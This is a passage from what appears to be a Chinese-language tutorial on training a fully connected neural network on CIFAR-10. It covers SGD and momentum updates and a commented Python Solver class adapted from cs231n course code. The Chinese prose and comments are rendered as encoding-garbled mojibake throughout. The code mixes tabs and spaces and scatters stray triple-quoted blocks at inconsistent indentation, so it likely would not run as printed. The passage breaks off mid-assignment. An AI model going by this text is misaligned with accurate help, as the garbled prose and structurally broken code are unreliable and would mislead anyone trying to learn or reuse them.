ๅนถไธๆ˜ฏ็ป้ชŒๅฏ่ฐƒ็š„่ถ…ๅ‚ๆ•ฐ๏ผŒๅ…ถๅฏนๅบ”ไบŽๆˆ‘ไปฌๆฏไธ€ๆฌกๆ›ดๆ–ฐๆ—ถ็š„โ€œๅŠจ้‡โ€๏ผŒๅนถไธ”ๅœจๆฏไธ€ๆฌกๆจกๅž‹ๅ‚ๆ•ฐๆ›ดๆ–ฐๅŽ๏ผŒ้ƒฝไผšๅฐ†ๆ›ดๆ–ฐๅŽ็š„โ€œๅŠจ้‡โ€ๅ†ไฟๅญ˜ๅ›ž `config` ๅญ—ๅ…ธไธญใ€‚\n\n\n\nๆœ€ๅŽๅ€ผๅพ—ไธ€ๆ็š„ๆ˜ฏ๏ผŒไธŠ่ฟฐๅฎšไน‰็š„ไธคไธชๆœ€ไผ˜ๅŒ–ๅ‡ฝๆ•ฐ๏ผŒ้ƒฝๆ˜ฏ้’ˆๅฏน็ฅž็ป็ฝ‘็ปœๆจกๅž‹ไธญ็š„ๆฏไธ€ไธชๅ‚ๆ•ฐๆฅๆ›ดๆ–ฐ็š„๏ผŒๅณๅœจๅ‚ๆ•ฐ็ฉบ้—ดไธญ็š„ๆŸไธ€็ปดๅบฆไธŠ่ฟ›่กŒ็š„่ฎก็ฎ—๏ผŒไบฆๅฏนๅบ”ไบŽๅ‰้ข่ฐˆๅˆฐ็š„ๆขฏๅบฆ็Ÿข้‡ๆˆ–ๅŠจ้‡็Ÿข้‡ๅœจๅ‚ๆ•ฐ็ฉบ้—ด็š„ๆŠ•ๅฝฑๅŽ๏ผŒๆŸไธ€ๅ‚ๆ•ฐ็ปดๅบฆไธญ็š„่ฟ็ฎ—ใ€‚\n\n็›ธๅ…ณ็š„่ต„ๆ–™ๅฏไปฅๅ‚่€ƒ๏ผš\n\n[An Overview on Optimization Algorithms in Deep Learning (I)](http://prinsphield.github.io/2016/02/04/An%20Overview%20on%20Optimization%20Algorithms%20in%20Deep%20Learning%20(I)/)\n\n[Advanced tutorials - momentum, activation function, etc](http://www.cse.unsw.edu.au/~cs9417ml/MLP1/tutorial/advanced-tutorial2.htm)\n\n[ๆขฏๅบฆไธ‹้™ไผ˜ๅŒ–็ฎ—ๆณ•็ปผ่ฟฐ](http://blog.csdn.net/heyongluoyao8/article/details/52478715)\n\n[An overview of gradient descent optimization algorithms](https://arxiv.org/abs/1609.04747)\n\n\n\n- ๅฐ็ป“๏ผš\n\n้™คไบ†ไธŠ้ขๆๅˆฐ็š„ไธคไธช็ฎ€ๅ•็š„ๅ‚ๆ•ฐๆ›ดๆ–ฐๆ–นๆณ•ๅค–๏ผŒ่ฟ˜ๆœ‰ไธๅฐ‘ๆ›ดๅฅฝ็”จ็š„ๆ–นๆณ•๏ผŒๅฆ‚**Nesterov**'s Accelerated Momentum๏ผŒ่ฟ˜ๆœ‰้€ๅ‚ๆ•ฐ้€‚ๅบ”ๅญฆไน ็Ž‡ๆ–นๆณ•๏ผŒๅฆ‚**Adagrad**๏ผŒ**RMSprop**๏ผŒ**Adam**็ญ‰็ญ‰ใ€‚ๅœจcs231n่ฏพ็จ‹็š„่ฎฒไน‰ไธญ๏ผŒๆŽจ่็š„ไธคไธชๅ‚ๆ•ฐๆ›ดๆ–ฐๆ–นๆณ•ๆ˜ฏSGD+NesterovๅŠจ้‡ๆ–นๆณ•๏ผŒๆˆ–่€…Adamๆ–นๆณ•ใ€‚\n\nๆˆ‘ไปฌๅฏไปฅ็œ‹ๅˆฐ๏ผŒ่ฎญ็ปƒไธ€ไธช็ฅž็ป็ฝ‘็ปœไผš้‡ๅˆฐๅพˆๅคš่ถ…ๅ‚ๆ•ฐ่ฎพ็ฝฎใ€‚ๅ…ณไบŽ่ถ…ๅ‚ๆ•ฐ็š„่ฐƒไผ˜ไนŸไผšๆœ‰ๅพˆๅคš็š„่ฆ็‚นๅ’ŒๆŠ€ๅทง๏ผŒไธ่ฟ‡๏ผŒๆˆ‘ไปฌ็š„ๆ•…ไบ‹ๅนถไธๆ‰“็ฎ—ๆถ‰ๅŠๅ…ถไธญ๏ผŒ่ฏฆๆƒ…ๅฏๅ‚่€ƒcs231n็š„่ฎฒไน‰็ฌ”่ฎฐใ€‚\n\n\n\n\n\n\n\n### ๅคœ้ป‘้ฃŽ้ซ˜๏ผŒๅฐ่ฏ•็‰›ๅˆ€๏ผ\n\n\n\n็ป่ฟ‡ๅ‰้ขๆ•…ไบ‹ไธญๅ„็ง็ฃจ้šพ็š„้”ป็‚ผ๏ผŒ็ป้ชŒ็š„็งฏ็ดฏ๏ผŒ็Žฐๅœจ็ปˆไบŽๅฏไปฅไธ€่ฏ•่บซๆ‰‹๏ผŒๅฎŒๆˆๆœ€ๅŽboss็š„ๆŒ‘ๆˆ˜โ€”โ€”ๆˆ‘ไปฌ่ฆ็œŸๆญฃ็š„่ฎญ็ปƒไธ€ไธชๅผบๅคง็š„ๅ…จ่ฟžๆŽฅ็š„็ฅž็ป็ฝ‘็ปœ๏ผŒๆฅๆŒ‘ๆˆ˜10ๅˆ†็ฑป็š„ๆ•ฐๆฎๆบCIFAR-10๏ผ\n\n้ฆ–ๅ…ˆๅœจๅ†ณๆ–—ไน‹ๅ‰๏ผŒๆˆ‘ไปฌ่ฆๅšๅฅฝไธ€ไบ›ๅ‡†ๅค‡ๅทฅไฝœ๏ผšๅŠ ่ฝฝๅทฒ็ป้ข„ๅค„็†ๅฅฝ็š„ๆ•ฐๆฎๆบไธบ `data`ใ€‚\n\n```python\n# Load the (preprocessed) CIFAR10 data.\ndata = get_CIFAR10_data()\nfor k, v in data.items():\n\tprint('%s: ' % k, v.shape)\n\"\"\"\ny_train: (49000,)\ny_test: (1000,)\nX_val: (1000, 3, 32, 32)\ny_val: (1000,)\nX_test: (1000, 3, 32, 32)\nX_train: (49000, 3, 32, 32)\n\"\"\"\n```\n\nๅฏไปฅ็œ‹ๅˆฐๅทฒ็ปๅ‡†ๅค‡ๅฅฝ็š„่ฎญ็ปƒ้›†ๆ ทๆœฌๅ›พ็‰‡ๆœ‰49000ๅผ ๏ผŒๅฆๆœ‰็”จๆฅ่ฐƒๅ‚ไผ˜ๅŒ–็ฝ‘็ปœ็š„้ชŒ่ฏๆ ทๆœฌๅ›พ็‰‡1000ๅผ ๏ผŒๆœ€ๅŽๆ˜ฏ่€ƒ้ชŒๆˆ‘ไปฌ็š„็ฅž็ปๆจกๅž‹็š„ๆต‹่ฏ•้›†ๆ ทๆœฌๅ›พ็‰‡1000ๅผ ใ€‚\n\nๆŽฅไธ‹ๆฅๆ˜ฏๆœ€้‡่ฆ็š„ไธ€ๆญฅ๏ผŒๆˆ‘ไปฌ่ฆๅœจ่งๆœ€็ปˆๅˆ†ๆ™“ไน‹ๅ‰๏ผŒ่ตท่‰ไธ€ไธช่ฏฆ็ป†็š„ไฝœๆˆ˜ๆ–นๆกˆโ€”โ€”ๅฎšไน‰ไธ€ไธช `Solve(object)` ็ฑปใ€‚\n\nๆญคๆ—ถๅทฒๆœˆ้ป‘้ฃŽ้ซ˜๏ผŒ่ฏไธๅคš่ฏด๏ผŒ่ฏท็›ดๆŽฅไธ€่กŒไธ€่กŒๅœฐ้˜…่ฏปๅˆฐๅบ•๏ผŒๅ‹ฟๅฟ˜้˜…ๅŽๅณ็„š๏ผ\n\n\n\n```python\nimport numpy as np\n# ๆˆ‘ไปฌๆŠŠไผ˜ๅŒ–็ฎ—ๆณ•็š„ๅ‡ฝๆ•ฐ sgd() ๅ’Œ sgd_momentum() ๅฎšไน‰ๅœจๅฝ“ๅ‰็›ฎๅฝ•ไธญ็š„ optim.py ๆ–‡ไปถไธญ\nimport optim\n\nclass Solver(object):\n \"\"\"\n ๆˆ‘ไปฌๅฎšไน‰็š„่ฟ™ไธชSolver็ฑปๅฐ†ไผšๆ นๆฎๆˆ‘ไปฌ็š„็ฅž็ป็ฝ‘็ปœๆจกๅž‹ๆก†ๆžถโ€”โ€”FullyConnectedNet()็ฑป๏ผŒ\n ๅœจๆ•ฐๆฎๆบ็š„่ฎญ็ปƒ้›†้ƒจๅˆ†ๅ’Œ้ชŒ่ฏ้›†้ƒจๅˆ†ไธญ๏ผŒ่ฎญ็ปƒๆˆ‘ไปฌ็š„ๆจกๅž‹๏ผŒๅนถไธ”้€š่ฟ‡ๅ‘จๆœŸๆ€ง็š„ๆฃ€ๆŸฅๅ‡†็กฎ็Ž‡็š„ๆ–นๅผ๏ผŒ\n ไปฅ้ฟๅ…่ฟ‡ๆ‹Ÿๅˆใ€‚\n \n ๅœจ่ฟ™ไธช็ฑปไธญ๏ผŒๅŒ…ๆ‹ฌ__init__()๏ผŒๅ…ฑๅฎšไน‰5ไธชๅ‡ฝๆ•ฐ๏ผŒๅ…ถไธญๅชๆœ‰train()ๅ‡ฝๆ•ฐๆ˜ฏๆœ€้‡่ฆ็š„ใ€‚่ฐƒ็”จ\n ๅฎƒๅŽ๏ผŒไผš่‡ชๅŠจๅฏๅŠจ็ฅž็ป็ฝ‘็ปœๆจกๅž‹ไผ˜ๅŒ–็จ‹ๅบใ€‚\n \n ่ฎญ็ปƒ็ป“ๆŸๅŽ๏ผŒ็ป่ฟ‡ๆ›ดๆ–ฐๅœจ้ชŒ่ฏ้›†ไธŠไผ˜ๅŒ–ๅŽ็š„ๆจกๅž‹ๅ‚ๆ•ฐไผšไฟๅญ˜ๅœจmodel.paramsไธญใ€‚ๆญคๅค–๏ผŒๆŸๅคฑๅ€ผ็š„\n ๅŽ†ๅฒ่ฎญ็ปƒไฟกๆฏไผšไฟๅญ˜ๅœจsolver.loss_historyไธญ๏ผŒ่ฟ˜ๆœ‰solver.train_acc_historyๅ’Œ\n solver.val_acc_historyไธญไผšๅˆ†ๅˆซไฟๅญ˜่ฎญ็ปƒ้›†ๅ’Œ้ชŒ่ฏ้›†ๅœจๆฏไธ€ๆฌกepochๆ—ถ็š„ๆจกๅž‹ๅ‡†็กฎ็Ž‡ใ€‚\n\t===============================\n\tไธ‹้ขๆ˜ฏ็ป™ๅ‡บไธ€ไธชSolver็ฑปไฝฟ็”จ็š„ๅฎžไพ‹๏ผš\n data = {\n 'X_train': # training data\n 'y_train': # training labels\n 'X_val': # validation data\n ' y_val': # validation labels\n }\t# ไปฅๅญ—ๅ…ธ็š„ๅฝขๅผๅญ˜ๅ…ฅ่ฎญ็ปƒ้›†ๅ’Œ้ชŒ่ฏ้›†็š„ๆ•ฐๆฎๅ’Œๆ ‡็ญพ\n model = FullyConnectedNet(hidden_size=100, reg=10) # ๆˆ‘ไปฌ็š„็ฅž็ป็ฝ‘็ปœๆจกๅž‹\n solver = Solver(model, data,\t\t\t# ๆจกๅž‹๏ผๆ•ฐๆฎ\n update_rule='sgd',\t\t# ไผ˜ๅŒ–็ฎ—ๆณ•\n optim_config={\t\t\t# ่ฏฅไผ˜ๅŒ–็ฎ—ๆณ•็š„ๅ‚ๆ•ฐ\n 'learning_rate': 1e-3,\t# ๅญฆไน ็Ž‡\n },\n lr_decay=0.95,\t\t\t# ๅญฆไน ็Ž‡็š„่กฐๅ‡้€Ÿ็Ž‡\n num_epochs=10,\t\t\t# ่ฎญ็ปƒๆจกๅž‹็š„้ๆ•ฐ\n batch_size=100,\t\t\t# ๆฏๆฌกไธขๅ…ฅๆจกๅž‹่ฎญ็ปƒ็š„ๅ›พ็‰‡ๆ•ฐ็›ฎ\n print_every=100)\t\t\t\n solver.train()\n =============================== \n # ็ฅž็ป็ฝ‘็ปœๆจกๅž‹ไธญๅฟ…้กป่ฆๆœ‰ไธคไธชๅ‡ฝๆ•ฐๆ–นๆณ•๏ผšๆจกๅž‹ๅ‚ๆ•ฐmodel.paramsๅ’ŒๆŸๅคฑๅ‡ฝๆ•ฐmodel.loss(X, y)\n A Solver works on a model object that must conform to the following API:\n - model.params must be a dictionary mapping string parameter names to numpy\n arrays containing parameter values.\t# \n - model.loss(X, y) must be a function that computes training-time loss and\n gradients, and test-time classification scores, with the following inputs\n and outputs:\n Inputs:\t\t# ๅ…จๅฑ€็š„่พ“ๅ…ฅๅ˜้‡\n - X: Array giving a minibatch of input data of shape (N, d_1, ..., d_k)\n - y: Array of labels, of shape (N,) giving labels for X where y[i] is the\n label for X[i].\n Returns:\t# ๅ…จๅฑ€็š„่พ“ๅ‡บๅ˜้‡\n # ็”จๆ ‡็ญพy็š„ๅญ˜ๅœจไธŽๅฆๆ ‡่ฎฐ่ฎญ็ปƒmode่ฟ˜ๆ˜ฏๆต‹่ฏ•mode\n If y is None, run a test-time forward pass and return: # \n - scores: Array of shape (N, C) giving classification scores for X where\n scores[i, c] gives the score of class c for X[i].\n If y is not None, run a training time forward and backward pass and return\n a tuple of:\n - loss: Scalar giving the loss\t# ๆŸๅคฑๅ‡ฝๆ•ฐๅ€ผ\n - grads: Dictionary with the same keys as self.params mapping parameter\n names to gradients of the loss with respect to those parameters.# ๆจกๅž‹ๆขฏๅบฆ\n \"\"\"\n\t\"\"\"\n\t\"\"\"\n #1# ๅˆๅง‹ๅŒ–ๆˆ‘ไปฌ็š„ Slover() ็ฑป๏ผš\n def __init__(self, model, data, **kwargs):\n \"\"\"\n Construct a new Solver instance.\n # ๅฟ…้กป่ฆ่พ“ๅ…ฅ็š„ๅ‡ฝๆ•ฐๅ‚ๆ•ฐ๏ผšๆจกๅž‹ๅ’Œๆ•ฐๆฎ\n Required arguments:\n - model: A model object conforming to the API described above\n - data: A dictionary of training and validation data with the following:\n 'X_train': Array of shape (N_train, d_1, ..., d_k) giving training images\n 'X_val': Array of shape (N_val, d_1, ..., d_k) giving validation images\n 'y_train': Array of shape (N_train,) giving labels for training images\n 'y_val': Array of shape (N_val,) giving labels for validation images\n\t\t# ๅฏ้€‰็š„่พ“ๅ…ฅๅ‚ๆ•ฐ๏ผš\n Optional arguments:\n # ไผ˜ๅŒ–็ฎ—ๆณ•๏ผš้ป˜่ฎคไธบsgd\n - update_rule: A string giving the name of an update rule in optim.py.\n Default is 'sgd'.\t\n # ่ฎพ็ฝฎไผ˜ๅŒ–็ฎ—ๆณ•็š„่ถ…ๅ‚ๆ•ฐ๏ผš\n - optim_config: A dictionary containing hyperparameters that will be\n passed to the chosen update rule. Each update rule requires different\n hyperparameters (see optim.py) but all update rules require a\n 'learning_rate' parameter so that should always be present. \n # ๅญฆไน ็Ž‡ๅœจๆฏๆฌกepochๆ—ถ่กฐๅ‡็Ž‡\n - lr_decay: A scalar for learning rate decay; after each epoch the learning\n rate is multiplied by this value.\n # ๅœจ่ฎญ็ปƒๆ—ถ๏ผŒๆจกๅž‹่พ“ๅ…ฅๅฑ‚ๆŽฅๆ”ถๆ ทๆœฌๅ›พ็‰‡็š„ๅคงๅฐ๏ผŒ้ป˜่ฎค100\n - batch_size: Size of minibatches used to compute loss and gradient during\n training.\n # ๅœจ่ฎญ็ปƒๆ—ถ๏ผŒ่ฎฉ็ฅž็ป็ฝ‘็ปœๆจกๅž‹ไธ€ๆฌกๅ…จๅฅ—่ฎญ็ปƒ็š„้ๆ•ฐ\n - num_epochs: The number of epochs to run for during training.\n # ๅœจ่ฎญ็ปƒๆ—ถ๏ผŒๆ‰“ๅฐๆŸๅคฑๅ€ผ็š„่ฟญไปฃๆฌกๆ•ฐ\n - print_every: Integer; training losses will be printed every print_every\n iterations.\n # ๆ˜ฏๅฆๅœจ่ฎญ็ปƒๆ—ถ่พ“ๅ‡บไธญ้—ด่ฟ‡็จ‹\n - verbose: Boolean; if set to false then no output will be printed during\n training.\n \"\"\"\n # ๅฎžไพ‹(Instance)ไธญๅขžๅŠ ๅ˜้‡ๅนถ่ต‹ไบˆๅˆๅ€ผ๏ผŒไปฅๆ–นไพฟๅŽ้ข็š„ train() ๅ‡ฝๆ•ฐ็ญ‰่ฐƒ็”จ๏ผš\n self.model = model\t\t\t\t\t\t\t# ๆจกๅž‹\n self.X_train = data[\"X_train\"]\t\t\t\t# ่ฎญ็ปƒๆ ทๆœฌๅ›พ็‰‡ๆ•ฐๆฎ\n self.y_train = data[\"y_train\"]\t\t\t\t# ่ฎญ็ปƒๆ ทๆœฌๅ›พ็‰‡็š„ๆ ‡็ญพ\n self.X_val, self.y_val = data[\"X_val\"], data[\"y_val\"]\t# ้ชŒ่ฏๆ ทๆœฌๅ›พ็‰‡็š„ๆ•ฐๆฎๅ’Œๆ ‡็ญพ\n\t\t\"\"\"\n\t\tไปฅไธ‹ๆ˜ฏๅฏ้€‰ๆ‹ฉ่พ“ๅ…ฅ็š„็ฑปๅ‚ๆ•ฐ๏ผŒ้€ๆธไธ€ไธชไธ€ไธชๅ‰ชๅˆ‡ๆ‰“ๅŒ…kwargsๅ‚ๆ•ฐๅˆ—่กจ\n\t\t\"\"\"\n self.update_rule = kwargs.pop('update_rule', 'sgd')\t# ้ป˜่ฎคไผ˜ๅŒ–็ฎ—ๆณ•sgd\n self.optim_config = kwargs.pop('optim_config', {})\t# ้ป˜่ฎค่ฎพ็ฝฎไผ˜ๅŒ–็ฎ—ๆณ•ไธบ็ฉบๅญ—ๅ…ธ\n self.lr_decay = kwargs.pop('lr_decay', 1.0)\t\t\t# ้ป˜่ฎคๅญฆไน ็Ž‡ไธ่กฐๅ‡\n self.batch_size = kwargs.pop('batch_size', 100)\t\t# ้ป˜่ฎค่พ“ๅ…ฅๅฑ‚็ฅž็ปๅ…ƒๆ•ฐ100\n self.num_epochs = kwargs.pop('num_epochs', 10)\t\t# ้ป˜่ฎค็ฅž็ป็ฝ‘็ปœ่ฎญ็ปƒ10้\n\t\t#\n self.print_every = kwargs.pop('print_every', 10)\n self.verbose = kwargs.pop('verbose', True)\t\t\t# ้ป˜่ฎคๆ‰“ๅฐ่ฎญ็ปƒ็š„ไธญ้—ด่ฟ‡็จ‹\n\t\t\"\"\" \n\t\tๅผ‚ๅธธๅค„็†๏ผšๅฆ‚ๆžœkwargsๅ‚ๆ•ฐๅˆ—่กจไธญ้™คไบ†ไธŠ่ฟฐๅ…ƒ็ด ๅค–่ฟ˜ๆœ‰ๅ…ถไป–็š„ๅฐฑๆŠฅ้”™๏ผ\n\t\t\"\"\"\n if len(kwargs) > 0:\n extra = ', '.join('\"%s\"' % k for k in kwargs.keys())\n raise ValueError('Unrecognized arguments %s' % extra)\n\t\t\"\"\" \n\t\tๅผ‚ๅธธๅค„็†๏ผšๅฆ‚ๆžœkwargsๅ‚ๆ•ฐๅˆ—่กจไธญๆฒกๆœ‰ไผ˜ๅŒ–็ฎ—ๆณ•๏ผŒๅฐฑๆŠฅ้”™๏ผ\n\t\tๅฐ†self.update_rule่ฝฌๅŒ–ไธบไผ˜ๅŒ–็ฎ—ๆณ•็š„ๅ‡ฝๆ•ฐ๏ผŒๅณ:\n\t\tself.update_rule(w, dw, config) = (next_w, config)\n\t\t\"\"\" \n if not hasattr(optim, self.update_rule): # ่‹ฅoptim.pyไธญๆฒกๆœ‰ๅ†™ๅฅฝ็š„ไผ˜ๅŒ–็ฎ—ๆณ•ๅฏนๅบ”\n raise ValueError('Invalid update_rule \"%s\"' % self.update_rule)\n self.update_rule = getattr(optim, self.update_rule)\n\t\t# ๆ‰ง่กŒ_reset()ๅ‡ฝๆ•ฐ๏ผš\n self._reset()\n \"\"\"\n \"\"\"\n #2# ๅฎšไน‰ๆˆ‘ไปฌ็š„ _reset() ๅ‡ฝๆ•ฐ๏ผŒๅ…ถไป…ๅœจ็ฑปๅˆๅง‹ๅŒ–ๅ‡ฝๆ•ฐ __init__() ไธญ่ฐƒ็”จ\n def _reset(self):\n \"\"\"\n ้‡็ฝฎไธ€ไบ›็”จไบŽ่ฎฐๅฝ•ไผ˜ๅŒ–็š„ๅ˜้‡\n \"\"\"\n # Set up some variables for book-keeping\n self.epoch = 0\t\t\n self.best_val_acc = 0\t\n self.best_params = {}\n self.loss_history = []\n self.train_acc_history = []\n self.val_acc_history = []\n # Make a deep copy of the optim_config for each parameter\n self.optim_configs = {}\n for p in self.model.params:\n d = {k: v for k, v in self.optim_config.items()}\n self.optim_configs[p] = d\n \"\"\" ไธŠ้ขๆ นๆฎๆจกๅž‹ไธญๅพ…ๅญฆไน ็š„ๅ‚ๆ•ฐ๏ผŒๅˆ›ๅปบไบ†ๆ–ฐ็š„ไผ˜ๅŒ–ๅญ—ๅ…ธself.optim_configs๏ผŒ\n ๅฝขๅฆ‚๏ผš{'b': {'learnning_rate': 0.0005}\n ,'w': {'learnning_rate': 0.0005}}๏ผŒไธบๆฏไธชๆจกๅž‹ๅ‚ๆ•ฐๆŒ‡ๅฎšไบ†็›ธๅŒ็š„่ถ…ๅ‚ๆ•ฐใ€‚\n \"\"\"\n \"\"\"\n \"\"\"\n #3# ๅฎšไน‰ๆˆ‘ไปฌ็š„ _step() ๅ‡ฝๆ•ฐ๏ผŒๅ…ถไป…ๅœจ train() ๅ‡ฝๆ•ฐไธญ่ฐƒ็”จ\n def _step(self):\n \"\"\"\n\t\t่ฎญ็ปƒๆจกๅผไธ‹๏ผŒๆ ทๆœฌๅ›พ็‰‡ๆ•ฐๆฎ็š„ไธ€ๆฌกๆญฃๅ‘ๅ’Œๅๅ‘ไผ ๆ’ญ๏ผŒๅนถไธ”ๆ›ดๆ–ฐๆจกๅž‹ๅ‚ๆ•ฐไธ€ๆฌกใ€‚\n \"\"\"\n # Make a minibatch of training data\t# ่พ“ๅ…ฅๆ•ฐๆฎๅ‡†ๅค‡\n num_train = self.X_train.shape[0]\t# ่ฆ่ฎญ็ปƒ็š„ๆ•ฐๆฎ้›†ๆ€ปๆ•ฐ\n batch_mask = np.random.choice(num_train, self.batch_size)\n X_batch = self.X_train[batch_mask]\t# ้šๆœบๅ–ๅพ—่พ“ๅ…ฅ็ฅž็ปๅ…ƒไธชๆ•ฐ็š„ๆ ทๆœฌๅ›พ็‰‡ๆ•ฐๆฎ\n y_batch = self.y_train[batch_mask]\t# ้šๆœบๅ–ๅพ—่พ“ๅ…ฅ็ฅž็ปๅ…ƒไธชๆ•ฐ็š„ๆ ทๆœฌๅ›พ็‰‡ๆ ‡็ญพ\n\t\t\"\"\"\n\t\t\"\"\"\n # Compute loss and gradient\t\t# ๆ•ฐๆฎ้€š่ฟ‡็ฅž็ป็ฝ‘็ปœๅŽๅพ—ๅˆฐๆŸๅคฑๅ€ผๅ’Œๆขฏๅบฆๅญ—ๅ…ธ\n loss, grads = self.model.loss(X_batch, y_batch)\n self.loss_history.append(loss)\t# ๆŠŠๆœฌๆฌก็ฎ—ๅพ—็š„ๆŸๅคฑๅ€ผ่ฎฐๅฝ•ไธ‹ๆฅ\n\t\t\"\"\"\n\t\t\"\"\"\n # Perform a parameter update\t# ๆ‰ง่กŒไธ€ๆฌกๆจกๅž‹ๅ‚ๆ•ฐ็š„ๆ›ดๆ–ฐ\n for p, w in self.model.params.items():\n dw = grads[p]\t\t\t\t\t\t\t# ๅ–ๅ‡บๆจกๅž‹ๅ‚ๆ•ฐpๅฏนๅบ”็š„ๆขฏๅบฆๅ€ผ\n config = self.optim_configs[p]\t\t\t# ๅ–ๅ‡บๆจกๅž‹ๅ‚ๆ•ฐpๅฏนๅบ”็š„ไผ˜ๅŒ–่ถ…ๅ‚ๆ•ฐ\n next_w, next_config = self.update_rule(w, dw, config) # ไผ˜ๅŒ–็ฎ—ๆณ•\n self.model.params[p] = next_w\t\t\t# ๆ–ฐๅ‚ๆ•ฐๆ›ฟๆขๆŽ‰ๆ—ง็š„\n self.optim_configs[p] = next_config\t\t# ๆ–ฐ่ถ…ๅ‚ๆ•ฐๆ›ฟๆขๆŽ‰ๆ—ง็š„\n\t\"\"\"\n\t\"\"\"\n\t#4# ๅฎšไน‰ๆˆ‘ไปฌ็š„ check_accuracy() ๅ‡ฝๆ•ฐ๏ผŒๅ…ถไป…ๅœจ train() ๅ‡ฝๆ•ฐไธญ่ฐƒ็”จ\n def check_accuracy(self, X, y, num_samples=None, batch_size=100):\n \"\"\"\n ๆ นๆฎๆŸๅ›พ็‰‡ๆ ทๆœฌๆ•ฐๆฎ๏ผŒ่ฎก็ฎ—ๆŸไธŽไน‹ๅฏนๅบ”็š„ๆ ‡็ญพ็š„ๅ‡†็กฎ็Ž‡\n Inputs:\n - X: Array of data, of shape (N, d_1, ..., d_k)\n - y: Array of labels, of shape (N,)\n - num_samples: If not None, subsample the data and only test the model\n on num_samples datapoints.\n - batch_size: Split X and y into batches of this size to avoid using too\n much memory.\n \n Returns:\n - acc: Scalar giving the fraction of instances that were correctly\n classified by the model.\n \"\"\"\n \n # Maybe subsample the data\n N = X.shape[0]\t\t\t\t\t\t\t\t\t# ๆ ทๆœฌๅ›พ็‰‡X็š„ๆ€ปๆ•ฐ\n if num_samples is not None and N > num_samples:\t\n mask = np.random.choice(N, num_samples)\n N = num_samples\n X = X[mask]\n y = y[mask]\n\n # Compute predictions in batches\n num_batches = N // batch_size\n if N % batch_size != 0:\n num_batches += 1\n y_pred = []\n for i in range(num_batches):\n start = i * batch_size\n end = (i + 1) * batch_size\n scores = self.model.loss(X[start:end])\n y_pred.append(np.argmax(scores, axis=1))\n y_pred = np.hstack(y_pred)\n acc = np.mean(y_pred == y)\n\n return acc\n\n\t#5# ๅฎšไน‰ๆˆ‘ไปฌๆœ€้‡่ฆ็š„ train() ๅ‡ฝๆ•ฐ\n def train(self):\n \"\"\"\n\t\t้ฆ–ๅ…ˆ่ฆ็กฎๅฎšไธ‹ๆฅๆ€ปๅ…ฑ่ฆ่ฟ›่กŒ็š„่ฟญไปฃ็š„ๆฌกๆ•ฐnum_iterations๏ผŒ\n \"\"\"\n num_train = self.X_train.shape[0]\t# ๅ…จ้ƒจ่ฆ็”จๆฅ่ฎญ็ปƒ็š„ๆ ทๆœฌๅ›พ็‰‡ๆ€ปๆ•ฐ\n iterations_per_epoch = max(num_train // self.batch_size, 1)\t# ๆฏ้่ฟญไปฃ็š„ๆฌกๆ•ฐ\n num_iterations = self.num_epochs * iterations_per_epoch\t# ๆ€ป่ฟญไปฃๆฌกๆ•ฐ\n\t\t\"\"\"\n\t\tๅผ€ๅง‹่ฟญไปฃๅพช็Žฏ๏ผ\n\t\t\"\"\"\n for t in range(num_iterations):\n self._step()\t\n \"\"\"\n ไธŠ้ขๅฎŒๆˆไบ†ไธ€ๆฌก็ฅž็ป็ฝ‘็ปœ็š„่ฟญไปฃใ€‚ๆญคๆ—ถ๏ผŒๆจกๅž‹็š„ๅ‚ๆ•ฐๅทฒ็ปๆ›ดๆ–ฐ่ฟ‡ไธ€ๆฌก๏ผŒ\n ๅนถไธ”ๅœจself.loss_historyไธญๆทปๅŠ ไบ†ไธ€ไธชๆ–ฐ็š„lossๅ€ผ\n \"\"\"\n # Maybe print training loss\tไปŽself.loss_historyไธญๅ–ๆœ€ๆ–ฐ็š„lossๅ€ผ\n if self.verbose and t % self.print_every == 0:\n print('(Iteration %d / %d) loss: %f' % (t + 1, \n num_iterations, self.loss_history[-1]))\n\t\t\t\"\"\"\n\t\t\t\"\"\"\n # At the end of every epoch, increment the epoch counter and \n # decay the learning rate.\n epoch_end = (t + 1) % iterations_per_epoch == 0\n if epoch_end:\t# ๅชๆœ‰ๅฝ“t = iterations_per_epoch-1 ๆ—ถไธบTrue\n self.epoch += 1\t# ็ฌฌไธ€้ไน‹ๅŽๅผ€ๅง‹๏ผŒไปŽ0่‡ชๅŠ 1ไธบๆฏ้่ฎกๆ•ฐ\n for k in self.optim_configs: # ็ฌฌไธ€้ไน‹ๅŽๅผ€ๅง‹๏ผŒๆฏ้็ป™ๅญฆไน ็Ž‡่‡ชไน˜ไธ€ไธช่กฐๅ‡็Ž‡\n self.optim_configs[k]['learning_rate'] *= self.lr_decay\n\t\t\t\"\"\"\n\t\t\t\"\"\"\n # Check train and val accuracy on the first iteration, the last\n # iteration, and at the end of each epoch.\n first_it = (t == 0)\t\t\t\t\t# ่ตทๅง‹็š„t\n last_it = (t == num_iterations - 1)\t# ๆœ€ๅŽ็š„t\n if first_it or last_it or epoch_end:\t# ๅœจๆœ€ๅผ€ๅง‹๏ผๆœ€ๅŽ๏ผๆฏ้็ป“ๆŸๆ—ถ\n train_acc = self.check_accuracy(self.X_train, self.y_train,\n num_samples=1000) # ้šๆœบๅ–1000ไธช่ฎญ็ปƒๅ›พ็œ‹ๅ‡†็กฎ็Ž‡\n val_acc = self.check_accuracy(self.X_val, self.y_val)\n self.train_acc_history.append(train_acc) # ่ฎก็ฎ—ๅ…จ้ƒจ้ชŒ่ฏๅ›พ็‰‡็š„ๅ‡†็กฎ็Ž‡\n self.val_acc_history.append(val_acc)\n\t\t\t\t\"\"\"\n\t\t\t\t\"\"\"\n if self.verbose:\t# ๅœจๆœ€ๅผ€ๅง‹๏ผๆœ€ๅŽ๏ผๆฏ้็ป“ๆŸๆ—ถ๏ผŒๆ‰“ๅฐๅ‡†็กฎ็Ž‡็ญ‰ไฟกๆฏ\n print('(Epoch %d / %d) train acc: %f; val_acc: %f' % (\n self.epoch, self.num_epochs, train_acc, val_acc))\n\t\t\t\t\"\"\"\n\t\t\t\t\"\"\"\n # ๅœจๆœ€ๅผ€ๅง‹๏ผๆœ€ๅŽ๏ผๆฏ้็ป“ๆŸๆ—ถ๏ผŒๆฏ”่พƒๅฝ“ๅ‰้ชŒ่ฏ้›†็š„ๅ‡†็กฎ็Ž‡ๅ’Œ่ฟ‡ๅพ€ๆœ€ไฝณ้ชŒ่ฏ้›†\n # Keep track of the best model\t\n if val_acc > self.best_val_acc:\n self.best_val_acc = val_acc\n self.best_params = {}\n for k, v in self.model.params.items():\n self.best_params[k] = v.copy() # opy()ไป…ๅคๅˆถๅ€ผ่ฟ‡ๆฅ\n\t\t\"\"\"\n\t\t็ป“ๆŸ่ฟญไปฃๅพช็Žฏ๏ผ\n\t\t\"\"\"\n # At the end of training swap the best params into the model\n self.model.params = 